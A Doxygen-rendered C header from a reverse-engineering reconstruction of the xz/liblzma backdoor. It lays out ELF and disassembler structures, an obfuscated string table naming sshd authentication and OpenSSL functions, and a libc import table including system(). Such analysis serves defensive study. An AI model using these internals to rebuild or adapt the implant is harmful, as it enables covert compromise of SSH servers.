xzre
xzre.h
Go to the documentation of this file.
1 
7 #ifndef __XZRE_H
8 #define __XZRE_H
9 
10 #ifndef XZRE_SLIM
11 #define _GNU_SOURCE
12 #include <assert.h>
13 #include <link.h>
14 #include <stddef.h>
15 #include <stdint.h>
16 #include <sys/select.h>
17 #include <time.h>
18 #endif
19 
20 typedef uint8_t u8;
21 typedef uint16_t u16;
22 typedef uint32_t u32;
23 typedef uint64_t u64;
24 typedef uintptr_t uptr;
25 
26 #ifdef XZRE_SLIM
27 typedef unsigned int pid_t;
28 typedef unsigned int uid_t;
29 typedef unsigned int gid_t;
30 typedef unsigned int mode_t;
31 
32 typedef uint16_t Elf64_Half;
33 typedef uint32_t Elf64_Word;
34 typedef int32_t Elf64_Sword;
35 typedef uint64_t Elf64_Xword;
36 typedef int64_t Elf64_Sxword;
37 typedef uint32_t Elf32_Addr;
38 typedef uint64_t Elf64_Addr;
39 typedef uint64_t Elf64_Off;
40 typedef uint16_t Elf64_Section;
41 
42 typedef Elf64_Xword Elf64_Relr;
43 
44 #define EI_NIDENT (16)
45 typedef struct
46 {
47  unsigned char e_ident[EI_NIDENT]; /* Magic number and other info */
48  Elf64_Half e_type; /* Object file type */
49  Elf64_Half e_machine; /* Architecture */
50  Elf64_Word e_version; /* Object file version */
51  Elf64_Addr e_entry; /* Entry point virtual address */
52  Elf64_Off e_phoff; /* Program header table file offset */
53  Elf64_Off e_shoff; /* Section header table file offset */
54  Elf64_Word e_flags; /* Processor-specific flags */
55  Elf64_Half e_ehsize; /* ELF header size in bytes */
56  Elf64_Half e_phentsize; /* Program header table entry size */
57  Elf64_Half e_phnum; /* Program header table entry count */
58  Elf64_Half e_shentsize; /* Section header table entry size */
59  Elf64_Half e_shnum; /* Section header table entry count */
60  Elf64_Half e_shstrndx; /* Section header string table index */
61 } Elf64_Ehdr;
62 
63 typedef struct
64 {
65  Elf64_Word p_type; /* Segment type */
66  Elf64_Word p_flags; /* Segment flags */
67  Elf64_Off p_offset; /* Segment file offset */
68  Elf64_Addr p_vaddr; /* Segment virtual address */
69  Elf64_Addr p_paddr; /* Segment physical address */
70  Elf64_Xword p_filesz; /* Segment size in file */
71  Elf64_Xword p_memsz; /* Segment size in memory */
72  Elf64_Xword p_align; /* Segment alignment */
73 } Elf64_Phdr;
74 
75 typedef struct
76 {
77  Elf64_Sxword d_tag; /* Dynamic entry type */
78  union
79  {
80  Elf64_Xword d_val; /* Integer value */
81  Elf64_Addr d_ptr; /* Address value */
82  } d_un;
83 } Elf64_Dyn;
84 
85 
86 typedef struct
87 {
88  Elf64_Word st_name; /* Symbol name (string tbl index) */
89  unsigned char st_info; /* Symbol type and binding */
90  unsigned char st_other; /* Symbol visibility */
91  Elf64_Section st_shndx; /* Section index */
92  Elf64_Addr st_value; /* Symbol value */
93  Elf64_Xword st_size; /* Symbol size */
94 } Elf64_Sym;
95 
96 typedef struct
97 {
98  Elf64_Addr r_offset; /* Address */
99  Elf64_Xword r_info; /* Relocation type and symbol index */
100  Elf64_Sxword r_addend; /* Addend */
101 } Elf64_Rela;
102 
103 typedef uptr
104  Elf32_Sym, Elf64_Relr,
105  Elf64_Verdef, Elf64_Versym, sigset_t, fd_set, EVP_PKEY, RSA, DSA,
106  BIGNUM, EC_POINT, EC_KEY, EC_GROUP, EVP_MD, point_conversion_form_t,
107  EVP_CIPHER, EVP_CIPHER_CTX, ENGINE, EVP_MD_CTX, EVP_PKEY_CTX, BN_CTX;
108 typedef struct {
109  void *(*alloc)(void *opaque, size_t nmemb, size_t size);
110  void (*free)(void *opaque, void *ptr);
111  void *opaque;
112 } lzma_allocator;
113 
114 typedef long int Lmid_t;
115 #define ElfW(Sym) Elf64_Sym
116 
117 
125 typedef enum {
126  LZMA_CHECK_NONE = 0,
133  LZMA_CHECK_CRC32 = 1,
140  LZMA_CHECK_CRC64 = 4,
147  LZMA_CHECK_SHA256 = 10
153 } lzma_check;
154 
155 #endif
156 
157 #ifndef XZRE_SLIM
158 #include <lzma.h>
159 #include <openssl/dsa.h>
160 #include <openssl/ec.h>
161 #include <openssl/evp.h>
162 #include <openssl/rsa.h>
163 #include <elf.h>
164 #include <link.h>
165 typedef Elf64_Xword Elf64_Relr;
166 #endif
167 
168 #define UPTR(x) ((uptr)(x))
169 #define PTRADD(a, b) (UPTR(a) + UPTR(b))
170 #define PTRDIFF(a, b) (UPTR(a) - UPTR(b))
171 
172 /*
173  * Force a compilation error if condition is true, but also produce a
174  * result (of value 0 and type int), so the expression can be used
175  * e.g. in a structure initializer (or where-ever else comma expressions
176  * aren't permitted).
177  */
178 #define BUILD_BUG_ON_ZERO(e) ((int)(sizeof(struct { int:(-!!(e)); })))
179 #define __same_type(a, b) __builtin_types_compatible_p(typeof(a), typeof(b))
180 #define __must_be_array(a) BUILD_BUG_ON_ZERO(__same_type((a), &(a)[0]))
181 #define ARRAY_SIZE(arr) (sizeof(arr) / sizeof((arr)[0]) + __must_be_array(arr))
182 
183 // copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=include/link.h;h=bef2820b40cd553c77990dcda4f4ccf0203a9110;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l360
185 {
186  uintptr_t cookie;
187  unsigned int bindflags;
188 };
189 
190 typedef struct link_map *lookup_t;
191 
193 typedef struct gnu_hash_table {
194  uint32_t nbuckets;
195  uint32_t symoffset;
196  uint32_t bloom_size;
197  uint32_t bloom_shift;
198  uint64_t bloom[];
199  #if 0
200  // uint64_t bloom[bloom_size]; /* uint32_t for 32-bit binaries */
201  // uint32_t buckets[nbuckets];
202  // uint32_t chain[];
203  #endif
205 
206 struct La_i86_regs;
207 struct La_i86_retval;
208 struct La_x86_64_regs;
209 struct La_x86_64_retval;
210 struct La_x32_regs;
211 struct La_x32_retval;
212 
213 // copied from https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/generic/ldsodefs.h;h=2ebe7901c03ade2da466d8a2bf1e1214ef8f54d1;hb=f94f6d8a3572840d3ba42ab9ace3ea522c99c0c2#l256
214 // and https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/x86/ldsodefs.h;h=50dc81c02249bc8e034842066428452f6c00aec3;hb=57581acd9559217e859fdac693145ce6399f4d70
216 {
217  void (*activity) (uintptr_t *, unsigned int);
218  char *(*objsearch) (const char *, uintptr_t *, unsigned int);
219  unsigned int (*objopen) (struct link_map *, Lmid_t, uintptr_t *);
220  void (*preinit) (uintptr_t *);
221  union
222  {
223  uintptr_t (*symbind32) (Elf32_Sym *, unsigned int, uintptr_t *,
224  uintptr_t *, unsigned int *, const char *);
225  uintptr_t (*symbind64) (Elf64_Sym *, unsigned int, uintptr_t *,
226  uintptr_t *, unsigned int *, const char *);
227  };
228  union
229  {
230  Elf32_Addr (*i86_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
231  uintptr_t *, struct La_i86_regs *,
232  unsigned int *, const char *name,
233  long int *framesizep);
234  Elf64_Addr (*x86_64_gnu_pltenter) (Elf64_Sym *, unsigned int,
235  uintptr_t *,
236  uintptr_t *, struct La_x86_64_regs *,
237  unsigned int *, const char *name,
238  long int *framesizep);
239  Elf32_Addr (*x32_gnu_pltenter) (Elf32_Sym *, unsigned int, uintptr_t *,
240  uintptr_t *, struct La_x32_regs *,
241  unsigned int *, const char *name,
242  long int *framesizep);
243  };
244  union
245  {
246  unsigned int (*i86_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
247  uintptr_t *, const struct La_i86_regs *,
248  struct La_i86_retval *, const char *);
249  unsigned int (*x86_64_gnu_pltexit) (Elf64_Sym *, unsigned int,
250  uintptr_t *,
251  uintptr_t *,
252  const struct La_x86_64_regs *,
253  struct La_x86_64_retval *,
254  const char *);
255  unsigned int (*x32_gnu_pltexit) (Elf32_Sym *, unsigned int, uintptr_t *,
256  uintptr_t *,
257  const struct La_x32_regs *,
258  struct La_x86_64_retval *,
259  const char *);
260  };
261  unsigned int (*objclose) (uintptr_t *);
262 
263  struct audit_ifaces *next;
264 };
265 
266 
268 typedef struct {
270  uint32_t state[8];
271 
273  uint64_t size;
275 
280 typedef struct {
282  uint8_t buffer[64];
283 
285  union {
286  uint32_t crc32;
287  uint64_t crc64;
289  } state;
290 
292 
293 #define CHACHA20_KEY_SIZE 32
294 #define CHACHA20_IV_SIZE 16
295 #define SHA256_DIGEST_SIZE 32
296 #define ED448_KEY_SIZE 57
297 #define ED448_SIGNATURE_SIZE 114
298 
299 #define X_BN_num_bytes(bits) (((bits)+7)/8)
300 
301 // opcode is always +0x80 for the sake of it (yet another obfuscation)
302 #define XZDASM_OPC(op) ((u8)(op) - 0x80)
303 
304 enum X86_OPCODE {
305  X86_OPCODE_LEA = 0x8D,
306  X86_OPCODE_CALL = 0xE8,
307  // CMP r16/32/64 r/m16/32/64
308  X86_OPCODE_CMP = 0x3B,
309  // MOV r/m16/32/64 r16/32/64
310  X86_OPCODE_MOV = 0x89,
311  // MOV r16/32/64 r/m16/32/64
312  X86_OPCODE_MOV_LOAD = 0x8B,
313  // MOV m16 Sreg Move
314  // MOV r16/32/64 Sreg
315  X86_OPCODE_MOV_STORE = 0x8C
316 };
317 
318 #define XZDASM_TEST_MASK(mask, offset, opcode) \
319  (((mask >> ((u8)(XZDASM_OPC(opcode) + offset))) & 1) == 1)
320 
321 enum X86_REG {
322  X86_REG_RBP = 5
323 };
324 
325 typedef int BOOL;
326 
327 #define TRUE 1
328 #define FALSE 0
329 
330 typedef enum {
331  // has lock or rep prefix
332  DF1_LOCK_REP = 1,
333  //1 has segment override
334  DF1_SEG = 2,
335  //1 has operand size override
336  DF1_OSIZE = 4,
337  //1 has address size override
338  DF1_ASIZE = 8,
339  //1 vex instruction
340  DF1_VEX = 0x10,
341  //1 has rex
342  DF1_REX = 0x20,
343  //1 has modrm
344  DF1_MODRM = 0x40,
345  //1 has sib
346  DF1_SIB = 0x80
347 } InstructionFlags;
348 
349 typedef enum {
350  // memory with displacement
351  DF2_MEM_DISP = 0x1,
352  //2 8-bit displacement
353  DF2_MEM_DISP8 = 0x2,
354  //2 memory seg+offs (0xa0-0xa3)
355  DF2_MEM_SEG_OFFS = 0x4,
356 
357  // mask to check for memory flags
358  DF2_FLAGS_MEM = DF2_MEM_DISP | DF2_MEM_DISP8 | DF2_MEM_SEG_OFFS,
359 
360  //2 has immediate
361  DF2_IMM = 0x8,
362  //2 64-bit immediate (movabs)
363  DF2_IMM64 = 0x10
364 } InstructionFlags2;
365 
366 typedef enum {
367  // ELF has JMPREL relocs
368  X_ELF_PLTREL = 0x1,
369  // ELF has RELA relocs
370  X_ELF_RELA = 0x2,
371  // ELF has RELR relocs
372  X_ELF_RELR = 0x4,
373  // ELF has DT_VERDEF
374  X_ELF_VERDEF = 0x8,
375  // ELF has DT_VERSYM
376  X_ELF_VERSYM = 0x10,
377  // ELF has DF_1_NOW
378  X_ELF_NOW = 0x20
379 } ElfFlags;
380 
381 typedef enum {
382  // register-indirect addressing or no displacement
383  MRM_I_REG, // 00
384  // indirect with one byte displacement
385  MRM_I_DISP1, // 01
386  // indirect with four byte displacement
387  MRM_I_DISP4, // 10
388  // direct-register addressing
389  MRM_D_REG // 11
390 } ModRm_Mod;
391 
392 typedef enum {
393  // find function beginning by looking for endbr64
394  FIND_ENDBR64,
395  // find function beginning by looking for padding,
396  // then getting the instruction after it
397  FIND_NOP
398 } FuncFindType;
399 
400 typedef enum {
406  X_ELF_DYNAMIC_LINKER = 1,
407  X_ELF_LIBC = 2,
408  X_ELF_LIBCRYPTO = 3
409 } ElfId;
410 
411 typedef enum {
412  XREF_xcalloc_zero_size = 0,
413  XREF_Could_not_chdir_to_home_directory_s_s = 1,
414  XREF_list_hostkey_types = 2,
415  XREF_demote_sensitive_data = 3,
416  XREF_mm_terminate = 4,
417  XREF_mm_pty_allocate = 5,
418  XREF_mm_do_pam_account = 6,
419  XREF_mm_session_pty_cleanup2 = 7,
420  XREF_mm_getpwnamallow = 8,
421  XREF_mm_sshpam_init_ctx = 9,
422  XREF_mm_sshpam_query = 10,
423  XREF_mm_sshpam_respond = 11,
424  XREF_mm_sshpam_free_ctx = 12,
425  XREF_mm_choose_dh = 13,
426  XREF_sshpam_respond = 14,
427  XREF_sshpam_auth_passwd = 15,
428  XREF_sshpam_query = 16,
429  XREF_start_pam = 17,
430  XREF_mm_request_send = 18,
431  XREF_mm_log_handler = 19,
432  XREF_Could_not_get_agent_socket = 20,
433  XREF_auth_root_allowed = 21,
434  XREF_mm_answer_authpassword = 22,
435  XREF_mm_answer_keyallowed = 23,
436  XREF_mm_answer_keyverify = 24,
437  XREF_48s_48s_d_pid_ld_ = 25,
438  XREF_Unrecognized_internal_syslog_level_code_d = 26
439 } StringXrefId;
440 
441 typedef enum {
442  STR_from = 0x810,
443  STR_ssh2 = 0x678,
444  STR_48s_48s_d_pid_ld_ = 0xd8,
445  STR_s = 0x708,
446  STR_usr_sbin_sshd = 0x108,
447  STR_Accepted_password_for = 0x870,
448  STR_Accepted_publickey_for = 0x1a0,
449  STR_BN_bin2bn = 0xc40,
450  STR_BN_bn2bin = 0x6d0,
451  STR_BN_dup = 0x958,
452  STR_BN_free = 0x418,
453  STR_BN_num_bits = 0x4e0,
454  STR_Connection_closed_by = 0x790,
455  STR_Could_not_chdir_to_home_directory_s_s = 0x18,
456  STR_Could_not_get_agent_socket = 0xb0,
457  STR_DISPLAY = 0x960,
458  STR_DSA_get0_pqg = 0x9d0,
459  STR_DSA_get0_pub_key = 0x468,
460  STR_EC_KEY_get0_group = 0x7e8,
461  STR_EC_KEY_get0_public_key = 0x268,
462  STR_EC_POINT_point2oct = 0x6e0,
463  STR_EVP_CIPHER_CTX_free = 0xb28,
464  STR_EVP_CIPHER_CTX_new = 0x838,
465  STR_EVP_DecryptFinal_ex = 0x2a8,
466  STR_EVP_DecryptInit_ex = 0xc08,
467  STR_EVP_DecryptUpdate = 0x3f0,
468  STR_EVP_Digest = 0xf8,
469  STR_EVP_DigestVerify = 0x408,
470  STR_EVP_DigestVerifyInit = 0x118,
471  STR_EVP_MD_CTX_free = 0xd10,
472  STR_EVP_MD_CTX_new = 0xaf8,
473  STR_EVP_PKEY_free = 0x6f8,
474  STR_EVP_PKEY_new_raw_public_key = 0x758,
475  STR_EVP_PKEY_set1_RSA = 0x510,
476  STR_EVP_chacha20 = 0xc28,
477  STR_EVP_sha256 = 0xc60,
478  STR_EVP_sm = 0x188,
479  STR_GLIBC_2_2_5 = 0x8c0,
480  STR_GLRO_dl_naudit_naudit = 0x6a8,
481  STR_KRB5CCNAME = 0x1e0,
482  STR_LD_AUDIT = 0xcf0,
483  STR_LD_BIND_NOT = 0xbc0,
484  STR_LD_DEBUG = 0xa90,
485  STR_LD_PROFILE = 0xb98,
486  STR_LD_USE_LOAD_BIAS = 0x3e0,
487  STR_LINES = 0xa88,
488  STR_RSA_free = 0xac0,
489  STR_RSA_get0_key = 0x798,
490  STR_RSA_new = 0x918,
491  STR_RSA_public_decrypt = 0x1d0,
492  STR_RSA_set0_key = 0x540,
493  STR_RSA_sign = 0x8f8,
494  STR_SSH_2_0 = 0x990,
495  STR_TERM = 0x4a8,
496  STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
497  STR_WAYLAND_DISPLAY = 0x158,
498  STR_errno_location = 0x878,
499  STR_libc_stack_end = 0x2b0,
500  STR_libc_start_main = 0x228,
501  STR_dl_audit_preinit = 0xa60,
502  STR_dl_audit_symbind_alt = 0x9c8,
503  STR_exit = 0x8a8,
504  STR_r_debug = 0x5b0,
505  STR_rtld_global = 0x5b8,
506  STR_rtld_global_ro = 0xa98,
507  STR_auth_root_allowed = 0xb8,
508  STR_authenticating = 0x1d8,
509  STR_demote_sensitive_data = 0x28,
510  STR_getuid = 0x348,
511  STR_ld_linux_x86_64_so = 0xa48,
512  STR_libc_so = 0x7d0,
513  STR_libcrypto_so = 0x7c0,
514  STR_liblzma_so = 0x590,
515  STR_libsystemd_so = 0x938,
516  STR_list_hostkey_types = 0x20,
517  STR_malloc_usable_size = 0x440,
518  STR_mm_answer_authpassword = 0xc0,
519  STR_mm_answer_keyallowed = 0xc8,
520  STR_mm_answer_keyverify = 0xd0,
521  STR_mm_answer_pam_start = 0x948,
522  STR_mm_choose_dh = 0x78,
523  STR_mm_do_pam_account = 0x40,
524  STR_mm_getpwnamallow = 0x50,
525  STR_mm_log_handler = 0xa8,
526  STR_mm_pty_allocate = 0x38,
527  STR_mm_request_send = 0xa0,
528  STR_mm_session_pty_cleanup2 = 0x48,
529  STR_mm_sshpam_free_ctx = 0x70,
530  STR_mm_sshpam_init_ctx = 0x58,
531  STR_mm_sshpam_query = 0x60,
532  STR_mm_sshpam_respond = 0x68,
533  STR_mm_terminate = 0x30,
534  STR_parse_PAM = 0xc58,
535  STR_password = 0x400,
536  STR_preauth = 0x4f0,
537  STR_pselect = 0x690,
538  STR_publickey = 0x7b8,
539  STR_read = 0x308,
540  STR_rsa_sha2_256 = 0x710,
541  STR_setlogmask = 0x428,
542  STR_setresgid = 0x5f0,
543  STR_setresuid = 0xab8,
544  STR_shutdown = 0x760,
545  STR_ssh_2_0 = 0xd08,
546  STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
547  STR_sshpam_auth_passwd = 0x88,
548  STR_sshpam_query = 0x90,
549  STR_sshpam_respond = 0x80,
550  STR_start_pam = 0x98,
551  STR_system = 0x9f8,
552  STR_unknown = 0x198,
553  STR_user = 0xb10,
554  STR_write = 0x380,
555  STR_xcalloc_zero_size = 0x10,
556  STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
557  STR_ELF = 0x300,
558 } EncodedStringId;
559 
560 typedef enum {
561  PAYLOAD_STATE_INITIAL = -1
562 } PayloadState;
563 
564 #ifndef XZRE_SLIM
565 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
566 #else
567 #define assert_offset(t, f, o)
568 #endif
569 
570 #define CONCAT(x, y) x ## y
571 #define EXPAND(x, y) CONCAT(x, y)
572 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
573 
574 struct sshbuf {
575  u8 *d; /* Data */
576  const u8 *cd; /* Const data */
577  size_t off; /* First available byte is buf->d + buf->off */
578  size_t size; /* Last byte is buf->d + buf->size - 1 */
579  size_t max_size; /* Maximum size of buffer */
580  size_t alloc; /* Total bytes allocated to buf->d */
581  int readonly; /* Refers to external, const data */
582  u32 refcount; /* Tracks self and number of child buffers */
583  struct sshbuf *parent; /* If child, pointer to parent */
584 };
585 static_assert(sizeof(struct sshbuf) == 64);
586 
587 struct kex;
588 
589 /* permit_root_login */
590 #define PERMIT_NOT_SET -1
591 #define PERMIT_NO 0
592 #define PERMIT_FORCED_ONLY 1
593 #define PERMIT_NO_PASSWD 2
594 #define PERMIT_YES 3
595 
599 struct monitor {
600  int m_recvfd;
601  int m_sendfd;
602  int m_log_recvfd;
603  int m_log_sendfd;
604  struct kex **m_pkex;
605  pid_t m_pid;
606 };
607 
612  struct sshkey **host_keys; /* all private host keys */
613  struct sshkey **host_pubkeys; /* all public host keys */
614  struct sshkey **host_certificates; /* all public host certificates */
615  int have_ssh2_key;
616 };
617 
622 struct sshkey {
623  int type;
624  int flags;
625  /* KEY_RSA */
626  RSA *rsa;
627  /* KEY_DSA */
628  DSA *dsa;
629  /* KEY_ECDSA and KEY_ECDSA_SK */
630  int ecdsa_nid; /* NID of curve */
631  EC_KEY *ecdsa;
632  /* KEY_ED25519 and KEY_ED25519_SK */
633  u8 *ed25519_sk;
634  u8 *ed25519_pk;
635  /* KEY_XMSS */
636  char *xmss_name;
637  char *xmss_filename; /* for state file updates */
638  void *xmss_state; /* depends on xmss_name, opaque */
639  u8 *xmss_sk;
640  u8 *xmss_pk;
641  /* KEY_ECDSA_SK and KEY_ED25519_SK */
642  char sk_application;
643  u8 sk_flags;
644  struct sshbuf *sk_key_handle;
645  struct sshbuf *sk_reserved;
646  /* Certificates */
647  struct sshkey_cert *cert;
648  /* Private key shielding */
649  u8 *shielded_private;
650  size_t shielded_len;
651  u8 *shield_prekey;
652  size_t shield_prekey_len;
653 };
654 
655 typedef struct __attribute__((packed)) got_ctx {
659  void *got_ptr;
670  void *cpuid_fn;
675  ptrdiff_t got_offset;
676 } got_ctx_t;
677 
678 assert_offset(got_ctx_t, got_ptr, 0);
679 assert_offset(got_ctx_t, return_address, 0x8);
680 assert_offset(got_ctx_t, cpuid_fn, 0x10);
681 assert_offset(got_ctx_t, got_offset, 0x18);
682 static_assert(sizeof(got_ctx_t) == 0x20);
683 
684 typedef struct __attribute__((packed)) elf_entry_ctx {
689  void *symbol_ptr;
696 
697 assert_offset(elf_entry_ctx_t, symbol_ptr, 0);
698 assert_offset(elf_entry_ctx_t, got_ctx, 0x8);
699 assert_offset(elf_entry_ctx_t, frame_address, 0x28);
700 
704 #define X86_MODRM_BYTE(mod, reg, rm) \
705  ((u8)(0 \
706  | (u8)(((mod) & 3) << 6) \
707  | (u8)(((reg) & 7) << 3) \
708  | (u8)(((rm) & 7)) \
709  ))
710 
711 #define X86_REX_BYTE(w,r,x,b) \
712  ((u8)(0x40 \
713  | (u8)(((w) & 1) << 3) \
714  | (u8)(((r) & 1) << 2) \
715  | (u8)(((x) & 1) << 1) \
716  | (u8)(((b) & 1) << 0) \
717  ))
718 
719 #define X86_REX_W X86_REX_BYTE(1,0,0,0)
720 
724 #define XZDASM_MODRM_MAKE(mod, reg, rm) \
725  ((u32)(0 \
726  | (u32)(((rm) & 0xFF)<< 24) \
727  | (u32)(((reg) & 0xFF) << 16) \
728  | (u32)(((mod) & 0xFF) << 8) \
729  | X86_MODRM_BYTE(mod, reg, rm) \
730  ))
731 
732 enum dasm_modrm_mask {
733  XZ_MODRM_RM = 0xFF000000,
734  XZ_MODRM_REG = 0x00FF0000,
735  XZ_MODRM_MOD = 0x0000FF00,
736  XZ_MODRM_RAW = 0x000000FF
737 };
738 
739 typedef struct __attribute__((packed)) dasm_ctx {
740  u8* instruction;
741  u64 instruction_size;
742  union {
743  struct __attribute__((packed)) {
747  u8 flags;
751  u8 flags2;
752  PADDING(2);
753  u8 lock_rep_byte;
754  u8 seg_byte;
755  u8 osize_byte;
756  u8 asize_byte;
757  u8 vex_byte;
758  u8 vex_byte2;
759  u8 vex_byte3;
760  union {
761  struct __attribute__((packed)) {
762  u8 B : 1;
763  u8 X : 1;
764  u8 R : 1;
765  u8 W : 1;
766  u8 BitPattern : 4; // always 0100b
767  };
768  u8 rex_byte;
769  };
770  union {
771  // in little endian order
772  struct __attribute__((packed)) {
773  /* 3 */ u8 modrm;
774  /* 2 */ u8 modrm_mod;
775  /* 1 */ u8 modrm_reg;
776  /* 0 */ u8 modrm_rm;
777  };
778  u32 modrm_word;
779  };
780  };
781  u16 flags_u16;
782  };
783  u8 imm64_reg; // low 3 bits only
784  struct __attribute__((packed)) {
785  union {
786  struct __attribute__((packed)) {
787  u8 sib;
788  u8 sib_scale;
789  u8 sib_index;
790  u8 sib_base;
791  };
792  u32 sib_word;
793  };
794  };
795  PADDING(3);
796  u32 opcode;
797  PADDING(4);
798  u64 mem_disp;
799  // e.g. in CALL
800  u64 operand;
801  u64 operand_zeroextended;
802  u64 operand_size;
803  u8 insn_offset;
804  PADDING(7);
805 } dasm_ctx_t;
806 
807 assert_offset(dasm_ctx_t, instruction, 0);
808 assert_offset(dasm_ctx_t, instruction_size, 8);
809 assert_offset(dasm_ctx_t, flags, 0x10);
810 assert_offset(dasm_ctx_t, flags2, 0x11);
811 assert_offset(dasm_ctx_t, lock_rep_byte, 0x14);
812 assert_offset(dasm_ctx_t, seg_byte, 0x15);
813 assert_offset(dasm_ctx_t, osize_byte, 0x16);
814 assert_offset(dasm_ctx_t, asize_byte, 0x17);
815 assert_offset(dasm_ctx_t, vex_byte, 0x18);
816 assert_offset(dasm_ctx_t, vex_byte2, 0x19);
817 assert_offset(dasm_ctx_t, vex_byte3, 0x1A);
818 assert_offset(dasm_ctx_t, rex_byte, 0x1B);
819 assert_offset(dasm_ctx_t, modrm, 0x1C);
820 assert_offset(dasm_ctx_t, modrm_mod, 0x1D);
821 assert_offset(dasm_ctx_t, modrm_reg, 0x1E);
822 assert_offset(dasm_ctx_t, modrm_rm, 0x1F);
823 assert_offset(dasm_ctx_t, imm64_reg, 0x20);
824 assert_offset(dasm_ctx_t, sib, 0x21);
825 assert_offset(dasm_ctx_t, sib_scale, 0x22);
826 assert_offset(dasm_ctx_t, sib_index, 0x23);
827 assert_offset(dasm_ctx_t, sib_base, 0x24);
828 assert_offset(dasm_ctx_t, opcode, 0x28);
829 assert_offset(dasm_ctx_t, mem_disp, 0x30);
830 assert_offset(dasm_ctx_t, operand, 0x38);
831 assert_offset(dasm_ctx_t, operand_zeroextended, 0x40);
832 assert_offset(dasm_ctx_t, operand_size, 0x48);
833 assert_offset(dasm_ctx_t, insn_offset, 0x50);
834 static_assert(sizeof(dasm_ctx_t) == 0x58);
835 
836 typedef struct __attribute__((packed)) elf_info {
840  Elf64_Ehdr *elfbase;
848  Elf64_Phdr *phdrs;
852  u64 e_phnum;
856  Elf64_Dyn *dyn;
864  char *strtab;
868  Elf64_Sym *symtab;
872  Elf64_Rela *plt_relocs;
894  Elf64_Verdef *verdef;
899  Elf64_Versym *versym;
900  Elf64_Rela *rela_relocs;
901  u32 rela_relocs_num;
902  u32 _unused0;
903  Elf64_Relr *relr_relocs;
904  u32 relr_relocs_num;
905  PADDING(4);
916 
917  u64 rodata_segment_start;
918  u64 rodata_segment_size;
919  u64 data_segment_start;
920  u64 data_segment_size;
921  u64 data_segment_alignment;
922 
923  u8 flags;
924  PADDING(7);
933  u32 gnu_hash_bloom_shift;
934  PADDING(4);
935  u64 *gnu_hash_bloom;
936  u32 *gnu_hash_buckets;
937  u32 *gnu_hash_chain;
938 } elf_info_t;
939 
940 assert_offset(elf_info_t, elfbase, 0x0);
941 assert_offset(elf_info_t, first_vaddr, 0x8);
942 assert_offset(elf_info_t, phdrs, 0x10);
943 assert_offset(elf_info_t, e_phnum, 0x18);
944 assert_offset(elf_info_t, dyn, 0x20);
945 assert_offset(elf_info_t, dyn_num_entries, 0x28);
946 assert_offset(elf_info_t, strtab, 0x30);
947 assert_offset(elf_info_t, symtab, 0x38);
948 assert_offset(elf_info_t, plt_relocs, 0x40);
949 assert_offset(elf_info_t, plt_relocs_num, 0x48);
950 assert_offset(elf_info_t, gnurelro_found, 0x4C);
951 assert_offset(elf_info_t, gnurelro_vaddr, 0x50);
952 assert_offset(elf_info_t, gnurelro_memsize, 0x58);
953 assert_offset(elf_info_t, verdef, 0x60);
954 assert_offset(elf_info_t, verdef_num, 0x68);
955 assert_offset(elf_info_t, versym, 0x70);
956 assert_offset(elf_info_t, rela_relocs, 0x78);
957 assert_offset(elf_info_t, rela_relocs_num, 0x80);
958 assert_offset(elf_info_t, relr_relocs, 0x88);
959 assert_offset(elf_info_t, relr_relocs_num, 0x90);
960 assert_offset(elf_info_t, code_segment_start, 0x98);
961 assert_offset(elf_info_t, code_segment_size, 0xA0);
962 assert_offset(elf_info_t, rodata_segment_start, 0xA8);
963 assert_offset(elf_info_t, rodata_segment_size, 0xB0);
964 assert_offset(elf_info_t, data_segment_start, 0xB8);
965 assert_offset(elf_info_t, data_segment_size, 0xC0);
966 assert_offset(elf_info_t, data_segment_alignment, 0xC8);
967 assert_offset(elf_info_t, flags, 0xD0);
968 assert_offset(elf_info_t, gnu_hash_nbuckets, 0xd8);
969 assert_offset(elf_info_t, gnu_hash_last_bloom, 0xdc);
970 assert_offset(elf_info_t, gnu_hash_bloom_shift, 0xe0);
971 assert_offset(elf_info_t, gnu_hash_bloom, 0xe8);
972 assert_offset(elf_info_t, gnu_hash_buckets, 0xf0);
973 assert_offset(elf_info_t, gnu_hash_chain, 0xf8);
974 static_assert(sizeof(elf_info_t) == 0x100);
975 
976 typedef struct __attribute__((packed)) libc_imports {
977  u32 resolved_imports_count;
978  PADDING(4);
979  size_t (*malloc_usable_size)(void *ptr);
980  uid_t (*getuid)(void);
981  void (*exit)(int status);
982  int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
983  int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
984  int (*system)(const char *command);
985  ssize_t (*write)(int fd, const void *buf, size_t count);
986  int (*pselect)(
987  int nfds, fd_set *readfds, fd_set *writefds,
988  fd_set *exceptfds, const struct timespec *timeout,
989  const sigset_t *sigmask);
990  ssize_t (*read)(int fd, void *buf, size_t count);
991  int *(*__errno_location)(void);
992  int (*setlogmask)(int mask);
993  int (*shutdown)(int sockfd, int how);
994  void *__libc_stack_end;
996 
997 assert_offset(libc_imports_t, resolved_imports_count, 0);
998 assert_offset(libc_imports_t, malloc_usable_size, 8);
999 assert_offset(libc_imports_t, getuid, 0x10);
1000 assert_offset(libc_imports_t, exit, 0x18);
1001 assert_offset(libc_imports_t, setresgid, 0x20);
1002 assert_offset(libc_imports_t, setresuid, 0x28);
1003 assert_offset(libc_imports_t, system, 0x30);
1004 assert_offset(libc_imports_t, write, 0x38);
1005 assert_offset(libc_imports_t, pselect, 0x40);
1006 assert_offset(libc_imports_t, read, 0x48);
1007 assert_offset(libc_imports_t, __errno_location, 0x50);
1008 assert_offset(libc_imports_t, setlogmask, 0x58);
1009 assert_offset(libc_imports_t, shutdown, 0x60);
1010 assert_offset(libc_imports_t, __libc_stack_end, 0x68);
1011 static_assert(sizeof(libc_imports_t) == 0x70);
1012 
1013 typedef int (*pfn_RSA_public_decrypt_t)(
1014  int flen, unsigned char *from, unsigned char *to,
1015  RSA *rsa, int padding);
1016 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey, struct rsa_st *key);
